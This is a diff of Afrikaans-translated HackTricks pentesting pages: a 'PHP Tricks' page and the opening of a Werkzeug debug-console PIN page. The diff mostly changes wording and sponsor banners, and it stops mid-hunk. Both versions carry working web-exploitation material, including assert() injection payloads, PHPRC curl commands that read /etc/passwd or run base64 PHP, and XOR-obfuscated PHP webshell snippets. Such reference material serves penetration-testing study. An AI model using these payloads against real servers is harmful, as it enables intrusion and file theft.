@ -1,8 +1,8 @@
|
||||||
# PHP Tricks
|
# PHP Tricks
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,9 +15,13 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Koekies algemene ligging:
|
## Koekies algemene ligging:
|
||||||
|
|
||||||
|
@ -39,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||||
|
|
||||||
### Los vergelykings/Tipe Juggling ( == )
|
### Los vergelykings/Tipe Juggling ( == )
|
||||||
|
|
||||||
As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag optree nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik.
|
As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag werk nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik.
|
||||||
|
|
||||||
PHP vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
PHP vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||||
|
|
||||||
|
@ -51,7 +55,7 @@ PHP vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](h
|
||||||
* `"0xAAAA" == "43690" -> True` Strings wat uit nommers in desimale of hex formaat bestaan, kan met ander nommers/strings vergelyk word met True as resultaat as die nommers dieselfde was (nommers in 'n string word as nommers geïnterpreteer)
|
* `"0xAAAA" == "43690" -> True` Strings wat uit nommers in desimale of hex formaat bestaan, kan met ander nommers/strings vergelyk word met True as resultaat as die nommers dieselfde was (nommers in 'n string word as nommers geïnterpreteer)
|
||||||
* `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en gevolg word deur enigiets, sal gelyk wees aan 0
|
* `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en gevolg word deur enigiets, sal gelyk wees aan 0
|
||||||
* `"0X3264578" == 0X --> True` 'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0
|
* `"0X3264578" == 0X --> True` 'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0
|
||||||
* `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die stringinvoer van "0" en 'n inhoud wat gehasht word en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan verskaf wat 'n hash kan skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking omseil. Jy kan **reeds gehasht strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
* `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die stringinvoer van "0" en 'n inhoud wat gehas is en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan verskaf wat 'n hash kan skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking omseil. Jy kan **reeds gehasde strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||||
* `"X" == 0 --> True` Enige letter in 'n string is gelyk aan int 0
|
* `"X" == 0 --> True` Enige letter in 'n string is gelyk aan int 0
|
||||||
|
|
||||||
Meer inligting in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
Meer inligting in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||||
|
@ -79,7 +83,7 @@ Die dieselfde fout gebeur met `strcasecmp()`
|
||||||
|
|
||||||
### Strikte tipe Juggling
|
### Strikte tipe Juggling
|
||||||
|
|
||||||
Selfs al word `===` **gebruik** kan daar foute wees wat die **vergelyking kwesbaar** maak vir **tipe juggling**. Byvoorbeeld, as die vergelyking **die data na 'n ander tipe objek omskakel voordat dit vergelyk**:
|
Selfs al word `===` **gebruik**, kan daar foute wees wat die **vergelyking kwesbaar** maak vir **tipe juggling**. Byvoorbeeld, as die vergelyking **die data na 'n ander tipe objek omskakel voordat dit vergelyk**:
|
||||||
```php
|
```php
|
||||||
(int) "1abc" === (int) "1xyz" //This will be true
|
(int) "1abc" === (int) "1xyz" //This will be true
|
||||||
```
|
```
|
||||||
|
@ -89,7 +93,7 @@ Selfs al word `===` **gebruik** kan daar foute wees wat die **vergelyking kwesba
|
||||||
|
|
||||||
#### Nuwe lyn omseiling
|
#### Nuwe lyn omseiling
|
||||||
|
|
||||||
E however, wanneer die begin van die regexp `preg_match()` **slegs die eerste lyn van die gebruikersinvoer kontroleer**, dan as jy op een of ander manier die invoer in **verskeie lyne** kan **stuur**, kan jy in staat wees om hierdie kontrole te omseil. Voorbeeld:
|
E however, wanneer die begin van die regexp `preg_match()` **slegs die eerste lyn van die gebruikersinvoer** **kontroleer**, dan as jy op een of ander manier die invoer in **verskeie lyne** kan **stuur**, kan jy dalk hierdie kontrole omseil. Voorbeeld:
|
||||||
```php
|
```php
|
||||||
$myinput="aaaaaaa
|
$myinput="aaaaaaa
|
||||||
11111111"; //Notice the new line
|
11111111"; //Notice the new line
|
||||||
|
@ -113,7 +117,7 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram
|
||||||
#### **Lengte fout omseiling**
|
#### **Lengte fout omseiling**
|
||||||
|
|
||||||
(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)\
|
(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)\
|
||||||
As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk nie** en jy sal in staat wees om die **omseiling** van die kontrole te doen. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
|
As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk** nie en jy sal in staat wees om die **kontrole te omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
|
||||||
```bash
|
```bash
|
||||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||||
```
|
```
|
||||||
|
@ -135,7 +139,7 @@ Om dit te bereik, sal `'X'*500_001` 1 miljoen terugspoel stappe (500k vorentoe e
|
||||||
```python
|
```python
|
||||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||||
```
|
```
|
||||||
### Tipe Juggling vir PHP obfuskerings
|
### Tipe Juggling vir PHP obfuscation
|
||||||
```php
|
```php
|
||||||
$obfs = "1"; //string "1"
|
$obfs = "1"; //string "1"
|
||||||
$obfs++; //int 2
|
$obfs++; //int 2
|
||||||
|
@ -187,7 +191,7 @@ True
|
||||||
```
|
```
|
||||||
### HTTP headers omseil deur PHP foute te misbruik
|
### HTTP headers omseil deur PHP foute te misbruik
|
||||||
|
|
||||||
#### Fout veroorsaak na instel van headers
|
#### Fout veroorsaak na die instel van headers
|
||||||
|
|
||||||
Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) kan jy sien dat wanneer meer as 1000 GET params of 1000 POST params of 20 lêers gestuur word, PHP nie headers in die antwoord gaan instel nie.
|
Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) kan jy sien dat wanneer meer as 1000 GET params of 1000 POST params of 20 lêers gestuur word, PHP nie headers in die antwoord gaan instel nie.
|
||||||
|
|
||||||
|
@ -200,7 +204,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||||
#### Vul 'n liggaam in voordat jy koptekste stel
|
#### Vul 'n liggaam in voordat jy koptekste stel
|
||||||
|
|
||||||
As 'n **PHP-bladsy foute druk en sommige invoer wat deur die gebruiker verskaf is, teruggee**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud lank genoeg** te druk sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\
|
As 'n **PHP-bladsy foute druk en sommige invoer wat deur die gebruiker verskaf is, teruggee**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud lank genoeg** te druk sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\
|
||||||
In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **koptekst-inligting te wysig, kon dit nie** (soos byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):
|
In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **koptekst-inligting te wysig, kon dit nie** (soos byvoorbeeld die CSP-koptekst nie aan die gebruiker gestuur is nie):
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (1085).png>)
|
![](<../../../.gitbook/assets/image (1085).png>)
|
||||||
|
|
||||||
|
@ -238,12 +242,12 @@ Hierdie opsie van preg\_replace is **verouderd sedert PHP 5.5.0.**
|
||||||
```
|
```
|
||||||
### **RCE via Assert()**
|
### **RCE via Assert()**
|
||||||
|
|
||||||
Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is uit te voer** ten einde **waar of vals te retourneer** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:\
|
Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is** te **uitvoer** om **waar of vals** te **terug te gee** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:\
|
||||||
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te verkry kan jy doen:
|
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te kry kan jy doen:
|
||||||
```
|
```
|
||||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||||
```
|
```
|
||||||
U sal die **kode** **syntaksis** **moet breek**, u **payload** **byvoeg**, en dit dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Dieselfde geld ";" wat nie werk nie, aangesien ons payload nie uitgevoer sal word nie.
|
U sal die **kode** **sintaksis** **moet breek**, u **payload** **byvoeg** en dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Dieselfde geld ";" wat nie werk nie, aangesien ons payload nie uitgevoer sal word nie.
|
||||||
|
|
||||||
**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'`
|
**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'`
|
||||||
|
|
||||||
|
@ -291,15 +295,15 @@ Different .htaccess shells can be found [here](https://github.com/wireghoul/htsh
|
||||||
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
|
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
|
||||||
|
|
||||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsvariabele laat jou toe om arbitrêre biblioteke te laai wanneer jy ander binaire uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).
|
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsvariabele laat jou toe om arbitrêre biblioteke te laai wanneer jy ander binaire uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).
|
||||||
* **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasie lêer te vind**, gewoonlik genoem `php.ini`. As jy jou eie konfigurasie lêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP kode, wat dan uitgevoer word** deur die PHP runtime voordat enige ander kode.
|
* **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasie-lêer te vind**, gewoonlik genoem `php.ini`. As jy jou eie konfigurasie-lêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP-kode, wat dan** deur die PHP-runtime uitgevoer word voordat enige ander kode.
|
||||||
1. Laai 'n PHP-lêer op wat ons shellcode bevat
|
1. Laai 'n PHP-lêer op wat ons shellcode bevat
|
||||||
2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
|
2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP-preprocessor instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
|
||||||
3. Stel die `PHPRC` variabele in op die lêer wat ons in stap 2 opgelaai het.
|
3. Stel die `PHPRC`-variabele in op die lêer wat ons in stap 2 opgelaai het.
|
||||||
* Kry meer inligting oor hoe om hierdie ketting uit te voer [**uit die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
* Kry meer inligting oor hoe om hierdie ketting uit te voer [**uit die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||||
* **PHPRC** - 'n ander opsie
|
* **PHPRC** - 'n ander opsie
|
||||||
* As jy **nie lêers kan oplaai nie**, kan jy in FreeBSD die "lêer" `/dev/fd/0` gebruik wat die **`stdin`** bevat, wat die **liggaam** van die versoek is wat na die `stdin` gestuur is:
|
* As jy **nie lêers kan oplaai nie**, kan jy in FreeBSD die "lêer" `/dev/fd/0` gebruik wat die **`stdin`** bevat, wat die **liggaam** van die versoek is wat na die `stdin` gestuur is:
|
||||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||||
* Of om RCE te kry, stel **`allow_url_include`** in en voeg 'n lêer met **base64 PHP kode** voor:
|
* Of om RCE te kry, stel **`allow_url_include`** in en voeg 'n lêer met **base64 PHP-kode** voor:
|
||||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||||
* Tegniek [**uit hierdie verslag**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
* Tegniek [**uit hierdie verslag**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||||
|
|
||||||
|
@ -367,7 +371,7 @@ echo "$x ${Da}"; //Da Drums
|
||||||
```
|
```
|
||||||
## RCE wat nuwe $\_GET\["a"]\($\_GET\["b") misbruik
|
## RCE wat nuwe $\_GET\["a"]\($\_GET\["b") misbruik
|
||||||
|
|
||||||
As jy op 'n bladsy **'n nuwe objek van 'n arbitrêre klas kan skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
|
As jy op 'n bladsy **n nuwe objek van 'n arbitrêre klas kan skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
|
||||||
|
|
||||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||||
|
@ -388,16 +392,16 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
|
||||||
$___=$__; #Could be not needed inside eval
|
$___=$__; #Could be not needed inside eval
|
||||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||||
```
|
```
|
||||||
### XOR maklik shell code
|
### XOR maklik shell kode
|
||||||
|
|
||||||
Volgens [**hierdie skrywe** ](https://mgp25.com/ctf/Web-challenge/) is dit moontlik om 'n maklike shellcode op hierdie manier te genereer:
|
Volgens [**hierdie skrywe** ](https://mgp25.com/ctf/Web-challenge/) is dit moontlik om 'n maklike shellkode op hierdie manier te genereer:
|
||||||
```php
|
```php
|
||||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||||
|
|
||||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||||
```
|
```
|
||||||
So, as jy **arbitraire PHP kan uitvoer sonder nommers en letters** kan jy 'n versoek soos die volgende stuur wat daardie payload misbruik om arbitraire PHP uit te voer:
|
So, as jy **arbitraire PHP kan uitvoer sonder nommers en letters** kan jy 'n versoek stuur soos die volgende wat daardie payload misbruik om arbitraire PHP uit te voer:
|
||||||
```
|
```
|
||||||
POST: /action.php?_=system&__=cat+flag.php
|
POST: /action.php?_=system&__=cat+flag.php
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
@ -464,20 +468,24 @@ $____.=$__;
|
||||||
$_=$$____;
|
$_=$$____;
|
||||||
$___($_[_]); // ASSERT($_POST[_]);
|
$___($_[_]); // ASSERT($_POST[_]);
|
||||||
```
|
```
|
||||||
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, beveiligingskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -17,11 +17,13 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheid assessering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Console RCE
|
## Konsol RCE
|
||||||
|
|
||||||
As debug aktief is, kan jy probeer om toegang te verkry tot `/console` en RCE te verkry.
|
As debug aktief is, kan jy probeer om toegang te verkry tot `/console` en RCE te verkry.
|
||||||
```python
|
```python
|
||||||
|
@ -43,7 +45,7 @@ The console is locked and needs to be unlocked by entering the PIN.
|
||||||
You can find the PIN printed out on the standard output of your
|
You can find the PIN printed out on the standard output of your
|
||||||
shell that runs the server
|
shell that runs the server
|
||||||
```
|
```
|
||||||
'n Boodskap rakende die "konsole vergrendel" scenario word teëgekom wanneer daar probeer word om toegang te verkry tot Werkzeug se foutopsporing koppelvlak, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN te benut deur die PIN generasie algoritme in Werkzeug se foutopsporing inisialiseringslêer (`__init__.py`) te analiseer. Die PIN generasie meganisme kan bestudeer word vanaf die [**Werkzeug bronkode-bewaarplek**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), alhoewel dit aanbeveel word om die werklike bediener kode te verkry via 'n lêer traversering kwesbaarheid weens moontlike weergawe verskille.
|
'n Boodskap rakende die "konsole vergrendel" scenario word teëgekom wanneer daar probeer word om toegang te verkry tot Werkzeug se foutopsporing koppelvlak, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN te benut deur die PIN generasie algoritme in Werkzeug se foutopsporing inisialisasiefil (`__init__.py`) te analiseer. Die PIN generasie meganisme kan bestudeer word vanaf die [**Werkzeug bronkode-bewaarplek**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), alhoewel dit aanbeveel word om die werklike bediener kode te verkry via 'n lêer traversering kwesbaarheid weens moontlike weergawe verskille.
|
||||||
|
|
||||||
Om die konsole PIN te benut, is twee stelle veranderlikes, `probably_public_bits` en `private_bits`, nodig:
|
Om die konsole PIN te benut, is twee stelle veranderlikes, `probably_public_bits` en `private_bits`, nodig:
|
||||||
|
|
||||||
|
@ -57,8 +59,8 @@ Om die konsole PIN te benut, is twee stelle veranderlikes, `probably_public_bits
|
||||||
#### **`private_bits`**
|
#### **`private_bits`**
|
||||||
|
|
||||||
* **`uuid.getnode()`**: Verkry die MAC adres van die huidige masjien, met `str(uuid.getnode())` wat dit in 'n desimale formaat vertaal.
|
* **`uuid.getnode()`**: Verkry die MAC adres van die huidige masjien, met `str(uuid.getnode())` wat dit in 'n desimale formaat vertaal.
|
||||||
* Om **die bediener se MAC adres te bepaal**, moet een die aktiewe netwerk interfase wat deur die app gebruik word, identifiseer (bv. `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel ID te vind, dan **onttrek die MAC adres** van **`/sys/class/net/<device id>/address`**.
|
* Om **die bediener se MAC adres te bepaal**, moet 'n mens die aktiewe netwerk interfase wat deur die app gebruik word, identifiseer (bv. `ens3`). In gevalle van onsekerheid, **leak `/proc/net/arp`** om die toestel ID te vind, dan **onttrek die MAC adres** van **`/sys/class/net/<device id>/address`**.
|
||||||
* Om 'n hexadesimale MAC adres na desimaal om te skakel kan soos hieronder gedoen word:
|
* Om 'n heksadesimale MAC adres na desimaal om te skakel kan soos hieronder gedoen word:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Voorbeeld MAC adres: 56:00:02:7a:23:ac
|
# Voorbeeld MAC adres: 56:00:02:7a:23:ac
|
||||||
|
@ -165,9 +167,9 @@ As jy op 'n **ou weergawe** van Werkzeug is, probeer om die **hashing-algoritme
|
||||||
|
|
||||||
## Werkzeug Unicode karakters
|
## Werkzeug Unicode karakters
|
